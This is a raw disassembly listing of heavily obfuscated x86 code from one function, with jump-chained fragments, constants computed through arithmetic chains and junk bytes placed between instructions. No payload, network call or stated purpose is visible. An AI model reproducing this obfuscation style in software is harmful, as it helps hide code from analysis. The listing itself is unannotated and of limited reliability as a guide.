--------------------------------------------------------------------------- dw 15Fh aBszxzSu6 db 'Ñé‡x§>éã6',0 align 4 dd 2C5835Fh, 2474FF55h, 5EEE904h, 48F0000h, 4215C24h, 69E99C24h dd 6600007Dh, 0A1BFE952h, 0EB000000h, 8B75C380h, 0C483240Ch dd 80C30004h, 0EC81BCEBh, 4, 0B3DEE9h, 4C48300h, 5652EB81h dd 0C3294A4Bh, 5652C381h, 0BD554A4Bh, 7CF61E3h, 0E95DEB01h dd 9A2Ah, 66C6EC80h, 28000068h, 248A2424h, 7D1BE924h, 0D2F70000h dd 9E0FE9h db 0 ; --------------------------------------------------------------------------- loc_547971: ; CODE XREF: sub_542C3C+D830j add esp, 4 or eax, eax jz loc_5512A2 push eax mov eax, 1Ch add eax, edi push dword ptr [eax] mov ecx, [esp+28h+var_28] sub esp, 4 mov [esp+2Ch+var_2C], ecx push esp pop ecx push edi mov edi, 69412E63h jmp loc_547156 ; --------------------------------------------------------------------------- dw 36B3h dd 5269CB80h, 0D3286DB2h, 5BDD205Ah, 0FFF554E9h db 0FFh ; --------------------------------------------------------------------------- loc_5479B5: ; CODE XREF: sub_542C3C+A43Ej mov edx, ebx pop ebx shl edx, 4 xor edx, 70B54D49h shl edx, 1 neg edx jmp loc_54AF2F ; --------------------------------------------------------------------------- dw 248Bh dd 0F2A8E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5479D2: ; CODE XREF: sub_542C3C+FE5Fj shr esi, 3 xor esi, 128ACB2h and eax, esi mov esi, [esp+2Ch+var_2C] push esi mov esi, esp push ecx mov ecx, 4 add esi, ecx pop ecx push edi mov edi, 5CB524E2h xor edi, 3DDC1D3Ah xor edi, 269048F5h inc edi add edi, 24051E05h xor edi, 6BFE8F37h add esi, edi jmp loc_546D42 ; --------------------------------------------------------------------------- dw 895Dh dd 24048BC2h, 4C481h, 0E2C10000h, 7667E903h, 0BE560000h dd 23C13791h, 515EF089h, 0CD659FB9h, 66E98101h, 0C1180D64h dd 0BA5207E9h, 5602CA1h, 0A04E9h db 0 ; --------------------------------------------------------------------------- loc_547A49: ; CODE XREF: sub_542C3C+9907j sub esp, 4 mov [esp+38h+var_38], ecx mov cl, dl mov bl, cl mov ecx, [esp+38h+var_38] jmp loc_54E281 ; --------------------------------------------------------------------------- loc_547A5B: ; CODE XREF: sub_542C3C+E0FFj mov eax, 5A18693Bh xor edi, eax pop eax mov esi, edi pop edi jmp loc_54AD2C ; --------------------------------------------------------------------------- db 81h dd 0EE71EEC1h, 0ECC1815Fh, 81A932E3h, 8307F8E9h, 77F18115h dd 311A6C58h, 240C8BCDh, 777CE9h, 2424D300h, 0F1E4E99Ch dd 0F380FFFFh, 5BD9280Dh, 0C8BC830h, 4C48324h, 0FFFE6EE9h db 0FFh ; --------------------------------------------------------------------------- loc_547AA9: ; CODE XREF: sub_542C3C+470Cj or eax, eax jnz loc_547B57 sub esp, 4 mov [esp+2Ch+var_2C], eax mov eax, 1 push esi mov esi, eax jmp loc_5478DC ; --------------------------------------------------------------------------- dd 4C481h, 0BF570000h, 0AFC652Dh, 0E95FFA01h, 48ECh, 53AC281h dd 0E958730Ah, 49C5h ; --------------------------------------------------------------------------- loc_547AE4: ; CODE XREF: sub_542C3C+86F6j mov esi, esp jmp loc_5475F4 ; --------------------------------------------------------------------------- db 58h dd 1B951h, 0C8010000h, 42E95559h, 2D000069h, 1CD87B6Ch dd 83241C8Bh, 426804C4h, 8900002Eh, 4068242Ch, 8B754075h dd 0C483242Ch, 0A2BA5204h, 0E95E0765h, 0FFFFFE46h, 8B241433h dd 24D22424h, 47E99C24h, 0BAFFFFF1h, 43CD92C6h, 0B7E9D731h dd 0B8000088h, 4, 13B5E9h, 79BF5700h, 0E909175Fh, 4CBEh ; --------------------------------------------------------------------------- loc_547B54: ; CODE XREF: sub_542C3C+5777j mov esp, [esp+30h+var_30] loc_547B57: ; CODE XREF: sub_542C3C+4E6Fj ; sub_542C3C:loc_54E60Dj push ecx push esi jmp loc_54D43B ; --------------------------------------------------------------------------- dw 7CB8h dd 0C105CB05h, 0B72506E8h, 0F72AA523h, 68D0h, 4290000h dd 5485824h, 0FFFADFEFh, 48BC301h, 5D545524h, 4C581h, 0C5810000h dd 4, 8B242C87h, 0C3812424h, 2, 7B6968h, 241C8900h, 42474FFh dd 6833E9h db 0 ; --------------------------------------------------------------------------- loc_547BAD: ; CODE XREF: sub_542C3C+9D77j pop eax jmp loc_550952 ; --------------------------------------------------------------------------- loc_547BB3: ; CODE XREF: sub_542C3C+A505j and edi, 29AE0B62h jmp loc_552985 ; --------------------------------------------------------------------------- loc_547BBE: ; CODE XREF: sub_542C3C+C941j pop esp mov [esp+30h+var_30], ebx mov ebx, 10A40A2h mov edi, 10A40A3h jmp loc_54A487 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 88D78853h, 90685BFDh, 8900007Bh, 0EC882404h, 5958E788h dd 3BE93888h, 310000AFh, 9CBAE9C3h, 0D9680000h, 0E900004Ah dd 45Ch ; --------------------------------------------------------------------------- loc_547C00: ; CODE XREF: sub_542C3C+53C0j xor ebx, ecx pop ecx pop edi sub [edi+24h], ebx push [esp+28h+var_28] pop ebx jmp loc_54A30E ; --------------------------------------------------------------------------- dd 8EDC15Eh, 1015E9h db 0 ; --------------------------------------------------------------------------- loc_547C19: ; CODE XREF: sub_542C3C+7288j mov edx, 7561294Bh dec edx not edx add edx, 2FD30A6Ah sub edx, 0BA71E11Bh sub edi, edx mov edx, [esp+28h+var_28] add esp, 4 xchg edi, [esp+24h+var_24] mov esp, [esp+24h+var_24] mov [esp+24h+var_24], ebx mov ebx, esp push ebp mov ebp, 26B75B20h jmp loc_549409 ; --------------------------------------------------------------------------- dw 74FFh dd 1C8B0424h, 4C48324h, 656FE9h, 5C0400h, 0E95266D8h, 228h dd 240CFF57h, 5384E9h, 4C48300h, 0E9240C87h, 0FFFFFA2Dh dd 1D66EF81h, 0DF014D56h, 1D66C781h, 505B4D56h, 0D4CE9h dd 6EEC100h, 6589C681h, 0F0012C83h, 243C8B5Eh, 4C481h dd 0F8680000h, 0E9000005h, 2EFEh ; --------------------------------------------------------------------------- loc_547CB0: ; CODE XREF: sub_542C3C+D3E4j push ebp mov ebp, 45E651F8h mov eax, 7B245F03h shl eax, 3 add eax, 692687Fh neg eax xor eax, 30C61AD3h shl eax, 1 jmp loc_54D415 ; --------------------------------------------------------------------------- db 21h, 0EBh, 5Dh dd 1035E9h db 0 ; --------------------------------------------------------------------------- loc_547CD9: ; CODE XREF: sub_542C3C+6848j pop ecx sub esp, 4 mov [esp+2Ch+var_2C], ebp neg [esp+2Ch+var_2C] pop ebp jmp loc_55021D ; --------------------------------------------------------------------------- db 81h, 0EAh, 4 dd 0E9000000h, 8687h ; --------------------------------------------------------------------------- loc_547CF4: ; CODE XREF: sub_542C3C+4BC1j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+28h+var_28] jmp loc_54F2A9 ; --------------------------------------------------------------------------- dd 815A5452h, 4C2h, 34C4E900h, 665C0000h, 9C2424D3h, 4D08E9h dd 4EEC000h, 8104EEC0h, 4ECh, 24048900h, 0E9E38953h, 61F6h dd 7D0EBE56h, 74314A7Ch, 5EE90424h, 890000B2h, 0CE882414h dd 4282E9h, 9E95800h, 81000079h, 252B38EAh, 81EAD11Dh dd 8A6F13EAh, 1ECA816Dh, 8105226Bh, 4D16BCF2h, 5AD589BAh dd 0E9EDD145h, 0A868h, 5C240C87h, 61E9F1F7h, 89000024h dd 0E789243Ch, 30C3B951h, 12E90192h db 81h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547D97: ; CODE XREF: sub_542C3C+58E0j push edx mov edx, 4 add ecx, edx pop edx jmp loc_54FD24 ; --------------------------------------------------------------------------- db 4Dh, 45h, 0F7h dd 7E5C1D5h, 96EBED81h, 0E8017B94h, 44BE2D5Dh, 0BA521E40h dd 0F380688h, 2941572Dh, 5D0011Dh, 1D294157h, 89575F5Ah dd 4C781E7h, 83000000h, 0EAE904EFh, 3100009Eh, 3C33243Ch dd 24248B24h, 2404D366h, 0EE88E99Ch, 0EB80FFFFh, 0C0DBF624h dd 97E905E3h, 89FFFFFCh, 2B9240Ch, 0E9000000h, 33A4h, 2C91C681h dd 34FF063Dh, 0C4835A24h, 11F68104h, 1BD8E4Bh, 73E95EF2h dd 0FFFFFFF4h, 48B2434h, 4C48124h, 83000000h, 348904ECh dd 81E68924h, 4C6h, 7C146800h, 6EE90000h, 5D00008Eh, 228DBE56h dd 0D6F73686h, 17E9D6F7h, 6600007Eh, 8166E1D1h, 664F91E1h dd 8166D1F7h, 6663A8E9h, 5DE9CE29h, 8900008Bh, 4BE56E1h dd 1000000h, 0BA525EF1h, 2, 0AB685257h, 0E979F926h, 7025h dd 93E95CB2h, 89000009h, 9202E9CEh, 88E90000h, 1000014h dd 0F43BE9F3h, 77FFFFFFh, 59669D1Ch, 9C241CD3h, 0FFEDC1E9h db 0FFh ; --------------------------------------------------------------------------- loc_547EB9: ; CODE XREF: sub_542C3C+FBA1j xchg eax, [esp+28h+var_28] pop esp mov [esp+24h+var_24], esp add [esp+24h+var_24], 4 mov ecx, [esp+24h+var_24] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_54EECA ; --------------------------------------------------------------------------- dd 4C281h, 0C2830000h, 24148704h, 0FFF1DEE9h, 2EBF57FFh dd 4F4A8B2Ch, 0E907EFC1h, 890Dh, 24048F5Dh, 31E3E9h, 2434FF00h dd 0FFF328E9h, 240489FFh, 73426856h, 2C890000h, 55E8BD24h dd 0EE892242h, 81242C8Bh, 4C4h, 24742900h, 34FF5E04h, 0C4815824h dd 4, 9693E957h, 0EC830000h, 241C8904h, 32E3E9h, 5AD32900h dd 34FFD831h, 268FE924h, 81590000h, 4C1h, 7456800h, 1C890000h dd 68A4E924h, 148B0000h, 4C48324h, 52240C8Bh, 0C281E289h dd 4, 0FFFD6CE9h db 0FFh ; --------------------------------------------------------------------------- loc_547F7D: ; CODE XREF: sub_542C3C+5A42j pop eax sub [esp+24h+var_20], eax pop eax pop dword ptr [ecx] add dword ptr [ecx], 39D05288h push [esp+1Ch+var_1C] pop ecx sub esp, 4 mov [esp+20h+var_20], ebp mov ebp, esp add ebp, 4 jmp loc_548A49 ; --------------------------------------------------------------------------- db 56h, 54h, 5Eh dd 4B951h, 0CE010000h, 56240C8Bh, 0C5E9E689h, 8B00004Dh dd 89662424h, 50662414h, 0ECB0E99Ch, 8B66FFFFh, 3B682404h dd 8900001Ah, 5954240Ch, 4C181h, 76680000h, 0E9000068h dd 19F2h ; --------------------------------------------------------------------------- loc_547FE8: ; CODE XREF: sub_542C3C+81E1j push ecx jmp loc_54F8D5 ; --------------------------------------------------------------------------- dw 315Fh dd 69DBE9FEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_547FF6: ; CODE XREF: sub_542C3C+89AEj sub ecx, 0F4D0C8DCh jmp loc_547C00 ; --------------------------------------------------------------------------- loc_548001: ; CODE XREF: sub_542C3C+7496j sub eax, 4 jmp loc_54EF89 ; --------------------------------------------------------------------------- db 8Bh dd 89502404h, 405E0h, 0C5E90000h, 51000064h, 0F81181B9h dd 8E9C16Eh, 2E1C141h, 5007E1C1h, 1D78BFB8h, 4E1AE976h dd 0B3680000h, 89000005h, 4BB241Ch, 53000000h, 899AE9h dd 0EC2CE900h, 0EB81FFFFh, 0C181C06h, 0E95BD901h, 85FCh dd 0BE243489h, 73F71D08h, 5204E6C1h, 836EEDBAh, 0CAE28129h dd 426DAC69h, 0EA81DAF7h, 53240D7Eh, 435AC281h, 0EA810E88h dd 90AA6BEAh, 0E95AD631h, 0A76Ch, 8E7BC9BEh, 0F313E910h dd 0E95AFFFFh, 3602h, 0E34AE981h, 79E92401h, 3100005Fh dd 4DBE5AD1h, 50B22D10h, 73B0E9h, 1C77FF00h, 0D259669Dh dd 0E99C241Ch, 0FFFFEBB2h ; --------------------------------------------------------------------------- loc_5480C8: ; CODE XREF: sub_542C3C+8A34j push ebx mov ebx, 75DEDA03h add eax, ebx pop ebx or ebp, eax pop eax add ebp, 80A84021h jmp loc_54774F ; --------------------------------------------------------------------------- loc_5480DF: ; CODE XREF: sub_542C3C+B12Ej or ebp, 68832D7Dh push ebx mov ebx, 64F73275h and ebx, 0CF53C6Eh push ebx jmp loc_552175 ; --------------------------------------------------------------------------- a4gfCB db '¿Ç4ƒFÁç',8,'Ç',0 dw 452Dh dd 0F5CFE94Ch, 63B4FFFFh, 0ECC0CCFEh, 58C9E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548116: ; CODE XREF: sub_542C3C+8CE2j sub esp, 4 mov [esp+2Ch+var_2C], ebp push edi push 6AE49A1h pop edi push ebx mov ebx, 0F951B663h add edi, ebx jmp loc_54BFC8 ; --------------------------------------------------------------------------- dd 240C8B66h, 365D68h, 242C8900h, 69E95D54h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548143: ; CODE XREF: sub_542C3C+9FACj sub esp, 4 mov [esp+38h+var_38], eax mov eax, 3CA4301Bh jmp loc_553120 ; --------------------------------------------------------------------------- loc_548156: ; CODE XREF: sub_542C3C+9152j push esp pop edx jmp loc_551274 ; --------------------------------------------------------------------------- db 68h, 78h, 25h dd 8F540000h, 4832404h, 1C8B0424h, 4C48124h, 68000000h dd 4CB0h, 0E9242C89h, 9ED4h, 4BDh, 5EE8100h, 0E9573B5Ch dd 4FB6h ; --------------------------------------------------------------------------- loc_548190: ; CODE XREF: sub_542C3C+A0FAj mov edi, 25E37184h not edi jmp loc_552D82 ; --------------------------------------------------------------------------- dd 0ADB52FBAh, 0E9D50168h, 4ABAh ; --------------------------------------------------------------------------- loc_5481A8: ; CODE XREF: sub_542C3C+E4D4j pop ebp jmp loc_551C47 ; --------------------------------------------------------------------------- dw 0F7B2h dd 0C8BEA00h, 4C48324h, 0E959EA30h, 0FFFFF1FAh ; --------------------------------------------------------------------------- loc_5481C0: ; CODE XREF: sub_542C3C+E8DAj add esp, 4 push ebp mov ebp, esp jmp loc_549113 ; --------------------------------------------------------------------------- db 31h dd 14332414h, 943EE924h, 0B9510000h, 7AC64D8Fh, 0FFED9FE9h dd 70EB81FFh, 5A55E376h, 72DFE9h, 7024B900h, 9CE900EEh dd 8100005Bh, 4C4h, 0C1E95A00h db 86h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548203: ; CODE XREF: sub_542C3C+EFDFj mov [esp+34h+var_34], esi mov esi, 29E1328Ah jmp loc_5512AA ; --------------------------------------------------------------------------- loc_548210: ; CODE XREF: sub_542C3C+8F24j push esi mov esi, 1EC53E1Bh not esi shl esi, 7 xor esi, 14D10DCEh neg esi jmp loc_5512CB ; --------------------------------------------------------------------------- dd 32FFFA01h, 0E6243481h, 583AA722h, 0A722E635h, 2434FF3Ah dd 0E689565Ah, 9997E9h db 0 ; --------------------------------------------------------------------------- loc_548245: ; CODE XREF: sub_542C3C+9A04j add bl, 92h pop eax push eax push edx mov dl, 0F6h jmp loc_550B8A ; --------------------------------------------------------------------------- dw 0EE81h dd 6B471D88h, 0F75EF701h, 7EBA52D7h, 956ED3Ah, 563DE9D7h dd 9CBA0000h, 4A5A6C66h, 5F8CC281h, 814A0457h, 591AA1F2h dd 7255E928h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548282: ; CODE XREF: sub_542C3C+CD69j shr ch, 6 jmp loc_54C467 ; --------------------------------------------------------------------------- dw 0C8Bh dd 0E9545624h, 0CA7h, 405h, 0F3E95500h, 55000012h, 110E8CBDh dd 4EC833Ch, 0F7242C89h, 2C8B2414h, 4C48124h, 81000000h dd 3F3750EDh, 4DBF5719h, 0E97CB912h, 240Eh, 240C8B54h dd 5604C483h, 927182BEh, 7EEC16Fh, 94F0E9h, 4316600h, 93E99C24h dd 52FFFFE9h, 0C6FE0FB6h, 2454F652h, 5C26E901h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5482F6: ; CODE XREF: sub_542C3C+42B5j mov ecx, 464D16C5h and ecx, 1ECC467Ch neg ecx inc ecx xor ecx, 3C27159Fh xor ecx, 0C594EC26h jmp loc_54C210 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 0EC81E689h, 4, 0E9241489h, 6F48h ; --------------------------------------------------------------------------- loc_548328: ; CODE XREF: sub_542C3C+5E10j xchg ebp, [esp+40h+var_40] jmp loc_54DD48 ; --------------------------------------------------------------------------- dd 20F58166h, 0E8016672h, 330BE9h, 72EA8100h, 0E940254Bh dd 0AA17h, 24048B66h, 8904EC83h, 94E92414h db 5Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_548357: ; CODE XREF: sub_542C3C+A208j mov eax, [esp+40h+var_40] add esp, 4 pop ebx jmp loc_54D8B3 ; --------------------------------------------------------------------------- dw 0FE9h dd 5BFFFFE9h, 4C5815Dh, 81000000h, 4ECh, 243C8900h, 4921E9h dd 0B8505900h, 2, 0E958C201h, 0FF1h, 4EA81h, 14870000h dd 82EFE924h, 2DAD0000h, 16180670h, 5FE9D829h db 7Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5483AB: ; CODE XREF: sub_542C3C+C348j push [esp+38h+var_34] pop edi pop [esp+38h+var_38] jmp loc_547B54 ; --------------------------------------------------------------------------- loc_5483B8: ; CODE XREF: sub_542C3C+93F0j pop ebp pop ebx jmp loc_546C7A ; --------------------------------------------------------------------------- aTSX db 'T[é=X',0 align 2 dw 0C483h dd 66C33104h, 0A7E930FFh db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5483D3: ; CODE XREF: sub_542C3C+4B1Bj add esp, 4 or eax, eax jmp loc_54E60D ; --------------------------------------------------------------------------- loc_5483E0: ; CODE XREF: sub_542C3C+6684j push edi mov edi, 9884B00h jmp loc_550025 ; --------------------------------------------------------------------------- db 89h dd 4832424h, 815A0424h, 4C2h, 0C8E95000h, 5C000010h, 9C240CD2h dd 0FFE871E9h db 0FFh ; --------------------------------------------------------------------------- loc_548409: ; CODE XREF: sub_542C3C+79E9j add [esp+20h+var_20], 4 pop edx add edx, 4 add edx, 4 xor edx, [esp+1Ch+var_1C] xor [esp+1Ch+var_1C], edx jmp loc_546FA4 ; --------------------------------------------------------------------------- dd 0ED81EDD1h, 9271AA4h, 7628ED81h, 0C5811583h, 0DF8D8B33h dd 4EE6C181h, 0E981519Ch, 470F2C44h, 6BCE9h, 5AD10900h dd 3228E181h, 0E9814FBCh, 297157B1h, 1689E9h, 48B6600h dd 0EC815624h, 4, 4383E9h db 0 ; --------------------------------------------------------------------------- loc_548471: ; CODE XREF: sub_542C3C+B2EDj sub ebx, 5A3B23A3h neg ebx and ebx, 7D4A0208h neg ebx inc ebx xor ebx, 2135C5F8h add edi, ebx pop ebx mov ecx, edi pop edi jmp loc_54F03A ; --------------------------------------------------------------------------- db 81h dd 7A37E7C2h, 81FA0140h, 7A37E7EAh, 74C28140h, 5F13FA44h dd 0FFEF47E9h, 241C31FFh, 8B241C33h, 4892424h, 3DEFE924h dd 4810000h, 424h, 2434FF00h, 83242C8Bh, 0C48104C4h, 4 dd 4C581h, 0ED810000h, 4, 2474FF55h, 48F5D04h, 24248B24h dd 0B0240489h, 58C300D1h, 0FFC0B60Fh, 34FF8734h db 24h, 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push ebp mov ebp, 55ED7604h sub ebp, 0F199FD5Ch mov ebx, ebp pop ebp jmp loc_5485D9 ; --------------------------------------------------------------------------- loc_548516: ; CODE XREF: sub_542C3C+A67Aj add ecx, 4 jmp loc_547D97 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240481h, 0FF000000h, 81582434h, 4C4h, 6B95100h, 52479C2Fh dd 3EA868h, 243C8900h, 8368CD68h, 0C7815F02h, 0B9514AAh dd 4BDE947h, 1C890000h, 5657BB24h, 0D3F76C04h, 7AEE381h dd 0EB810FBCh, 0D4179FF6h, 12E9DA29h, 0F7000021h, 0F8C181D1h dd 0E9029973h, 4143h, 0BE243489h, 411D35D5h, 0A8E8E9h dd 0E7895700h, 4EC81h, 14890000h, 6A685724h, 0E965E505h dd 0FFFFE71Dh, 48B665Ch, 0EC815024h, 4, 0FFFF6CE9h, 87E05FFh dd 9A2D356Fh, 0E947C050h, 341Eh, 5FE9D0F7h db 80h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5485CB: ; CODE XREF: sub_542C3C+EF63j xchg ebp, [esp+1Ch+var_1C] pop esp sub ebp, esi pop esi add ebx, ebp jmp loc_54BD3C ; --------------------------------------------------------------------------- loc_5485D9: ; CODE XREF: sub_542C3C+58D5j xor ebx, 676538D4h jmp loc_552352 ; --------------------------------------------------------------------------- loc_5485E4: ; CODE XREF: sub_542C3C+C494j add esp, 4 push edi mov edi, 56885191h xor edi, 100F2883h inc edi shl edi, 6 push eax mov eax, 16B96767h shl eax, 1 sub eax, 77B869A0h sub eax, 60B0582Bh or eax, 1FF56481h jmp loc_54E12B ; --------------------------------------------------------------------------- dw 0EA30h dd 592434FFh, 4C481h, 0EC810000h, 4, 0B1240C89h, 0E9C8286Ah dd 9E53h, 83240C8Bh, 43304C4h, 24043124h, 8B240433h, 0A5F32424h dd 0C7386203h, 24F93842h, 72FF135Ah, 2414F738h, 5738428Fh dd 371D12BFh, 42D1E962h, 34FF0000h, 54535A24h, 5F7EE9h dd 5ECB8000h, 5519E9h db 0 ; --------------------------------------------------------------------------- loc_548679: ; CODE XREF: sub_542C3C+D100j push 39D05288h jmp loc_547F7D ; --------------------------------------------------------------------------- db 81h dd 0BD51EFEAh, 21C2810Ah, 146F35Fh, 64E768C2h, 1C890000h dd 5292BB24h, 0E3C16A84h, 4EBC108h, 7A0DEB81h, 0E381331Ah dd 510F772Bh, 17C5BE56h, 0C68159E7h, 68C5749Ah, 36C7EE81h dd 0C681148Bh, 6E8D69F7h, 4E93EE81h, 0F6815440h, 0DF9708DEh dd 348BF331h, 5214E924h, 1C8B0000h, 4C48124h, 1000000h dd 152D5FF8h, 29526D6Bh, 0BE5655F8h, 3F9C0405h, 0F75EF589h dd 0F6A3E9DDh, 8950FFFFh, 0C15E9E0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54870A: ; CODE XREF: sub_542C3C+C75Bj pop ebx and ebp, 2872C50h shl ebp, 7 sub ebp, 0D655D88Ah sub eax, 42B20D99h add eax, ebp add eax, 42B20D99h pop ebp jmp loc_550842 ; --------------------------------------------------------------------------- dd 0E9028F66h, 0FFFFE546h, 8B243C33h, 2C892424h, 0A0FE924h dd 0E1890000h, 4C181h, 0C1830000h, 240C8704h, 5E90685Ch dd 34890000h, 4EC8124h, 89000000h, 0C3E92424h, 0C0FFFFEFh dd 0D1F608E1h, 80A1E980h, 5FE975C1h db 61h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548777: ; CODE XREF: sub_542C3C+E269j push edx mov edx, 78D35102h xor ebp, edx mov edx, [esp+20h+var_20] add esp, 4 xor ebp, 2E532EBCh sub ebp, 0C58622ACh mov esi, ebp pop ebp sub esi, 0FFFFFFFFh jmp loc_549982 ; --------------------------------------------------------------------------- loc_54879F: ; CODE XREF: sub_542C3C+AF78j pop edi xor edi, 3FA9539Eh add edi, 4E9663BCh jmp loc_552410 ; --------------------------------------------------------------------------- db 52h, 50h, 0B8h dd 0B9E41B0h, 0E958C289h, 4E2h, 53243C8Bh, 0C381E389h dd 4, 0E904C383h, 499Bh, 7F03E281h, 0A6E93C20h, 51000069h dd 582434FFh, 8904C483h, 95958C7h, 243C8BF9h, 4C481h, 46E90000h db 39h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5487FB: ; CODE XREF: sub_542C3C+FACEj mov ecx, 1CC6574Eh or edi, ecx pop ecx jmp loc_552A54 ; --------------------------------------------------------------------------- aSsQ db 'Sé*Ÿ',0 align 2 loc_54880E: ; CODE XREF: sub_542C3C+DD08j sub ebx, 1C71447Dh jmp loc_54A43F ; --------------------------------------------------------------------------- loc_548819: ; CODE XREF: sub_542C3C+A712j pop eax jmp loc_551F9E ; --------------------------------------------------------------------------- db 50h dd 0C388CEB0h, 0F5C8E958h, 0D028FFFFh, 5B5A66h, 0B15166D8h dd 0CDB151E1h, 7C54E9h db 0 ; --------------------------------------------------------------------------- loc_54883D: ; CODE XREF: sub_542C3C+82A1j shr edi, 5 push edx mov edx, 6AC15233h neg edx sub edx, 1A5433F2h neg edx and edx, 7ABA1DBDh push ecx mov ecx, 780636E5h add edx, ecx pop ecx xor edi, edx pop edx shr edi, 7 xor edi, 0F368AEh add edx, 0A7875A0h sub edx, 367058F6h add edx, edi add edx, 367058F6h sub edx, 0A7875A0h mov edi, [esp+0Ch+var_C] add esp, 4 sub edx, 4 xchg edx, [esp+8+var_8] pop esp mov [esp+4+var_4], ebx jmp loc_54941E ; --------------------------------------------------------------------------- db 80h, 0F2h, 10h aARsu db '€ÂréU ',0 align 4 loc_5488A8: ; CODE XREF: sub_542C3C+C608j mov esp, [esp+4+var_4] xchg eax, [esp+4+var_4] push [esp+4+var_4] jmp loc_5490EB ; --------------------------------------------------------------------------- dw 2489h dd 4EC8124h, 89000000h, 4B9240Ch, 0E9000000h, 5A10h ; --------------------------------------------------------------------------- loc_5488CC: ; CODE XREF: sub_542C3C+8070j push esi mov esi, 87803ADh shl esi, 2 jmp loc_546F9A ; --------------------------------------------------------------------------- a5JKsei db '5×jÇKéei',0 align 4 dd 8324348Bh, 62E904C4h, 0BA000047h, 7FB50C6h, 5B35C281h dd 0E2815C0Bh, 4C6905A1h, 8687E9h db 0 ; --------------------------------------------------------------------------- loc_548905: ; CODE XREF: sub_542C3C+680Dj inc eax sub eax, 8D418BE3h add ecx, eax pop eax push 65EBh jmp loc_54F41D ; --------------------------------------------------------------------------- dd 42Dh, 74FF5000h, 48B0424h, 4C48324h, 5C24048Fh, 0E9243489h dd 0FFFFEBC6h, 0E9240489h, 4F44h, 0BF243C89h, 2, 187BE9h db 0 ; --------------------------------------------------------------------------- loc_548949: ; CODE XREF: sub_542C3C+6546j pop eax shl esi, 7 push ebx mov ebx, 755F409Dh neg ebx add ebx, 0FFFFFFFFh push edx mov edx, 35C97AAFh push ebx mov ebx, 6AB35892h or edx, ebx pop ebx or edx, 48D72FEDh jmp loc_549D6A ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 1CCC6824h, 0C890000h, 55E18924h, 68CBF57h, 0EF814658h dd 46580688h, 15FFD89h, 44AFE9E9h, 8B660000h, 0B368240Ch dd 89000011h, 0E189240Ch, 76CDE957h, 0C3810000h, 4, 8B241C87h dd 0BBE92424h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5489BF: ; CODE XREF: sub_542C3C+E61Fj mov ecx, 45973C0Dh shl ecx, 6 xor ecx, 2987058Eh dec ecx dec ecx add ecx, 0B3B7F938h add edi, ecx pop ecx jmp loc_546F2D ; --------------------------------------------------------------------------- db 57h, 0E9h, 9Eh db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5489E3: ; CODE XREF: sub_542C3C+D236j push eax push [esp+10h+var_C] jmp loc_54AF0A ; --------------------------------------------------------------------------- db 81h, 0E2h, 0F5h dd 81496E7Ah, 4E4F2h, 5AD0896Fh, 7ED62D40h, 3B0503B5h dd 25643F07h, 245E57C6h, 0C0E9D0F7h, 47000040h, 0B189C781h dd 0FA893983h, 5AD1295Fh, 0C8BC801h, 8B6AE924h, 0EF000000h dd 0E4F78059h, 8081E780h, 0F82828EFh, 6F045Bh, 686F2CD8h dd 0E14h, 81E9E9h db 0 ; --------------------------------------------------------------------------- loc_548A49: ; CODE XREF: sub_542C3C+5364j add ebp, 4 jmp loc_548328 ; --------------------------------------------------------------------------- align 2 dw 5BF8h dd 83240C8Bh, 516604C4h, 43DF68h, 0A7A4E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548A66: ; CODE XREF: sub_542C3C+FD5Dj push eax mov eax, esp jmp loc_54F570 ; --------------------------------------------------------------------------- loc_548A6E: ; CODE XREF: sub_542C3C+8A86j add ebp, 4 add ebp, 4 xchg ebp, [esp+24h+var_24] jmp loc_54B838 ; --------------------------------------------------------------------------- loc_548A82: ; CODE XREF: sub_542C3C+C3DDj push esi not [esp+28h+var_28] pop esi push ebx mov ebx, 282A060Ah add esi, 272C765Bh jmp loc_54D311 ; --------------------------------------------------------------------------- aI4LVsal db '‰4$‹<$VéAl',0 align 4 dd 0D0305866h, 506E9h db 0 ; --------------------------------------------------------------------------- loc_548AAD: ; CODE XREF: sub_542C3C+9103j add esp, 4 add ebx, 2 xchg ebx, [esp+24h+var_24] mov esp, [esp+24h+var_24] shr word ptr [esp+24h+var_24], cl pushf jmp loc_546C7A ; --------------------------------------------------------------------------- dw 0B753h dd 0E9C7FE79h, 2C66h, 525BF800h, 5176B551h, 0CFE9D8B5h dd 1FFFFF6h, 0F5005C8h, 49E901F8h, 5BFFFFFBh, 25E9DAF6h db 7Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_548AF3: ; CODE XREF: sub_542C3C+BDDFj push ebx jmp loc_5477F9 ; --------------------------------------------------------------------------- aTsiz db 'Té¨z',0 dw 0F600h aAuScu db 'Ö€îÇéçU',0 dd 81E90100h, 0F2C44C1h, 0E6E98147h, 5D519C4Eh, 0C5EE955h dd 0EA810000h, 5DE91696h, 0EC835F59h, 240C8904h, 57FB850h dd 83B93436h, 1CBC9FAh, 0CA0158C1h, 24143359h, 33241431h dd 0E95C2414h, 3D2Fh, 24048B5Ch, 950EE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548B56: ; CODE XREF: sub_542C3C+8E1Bj xor eax, ecx push esi mov esi, esp add esi, 4 push edi mov edi, 4 jmp loc_55208A ; 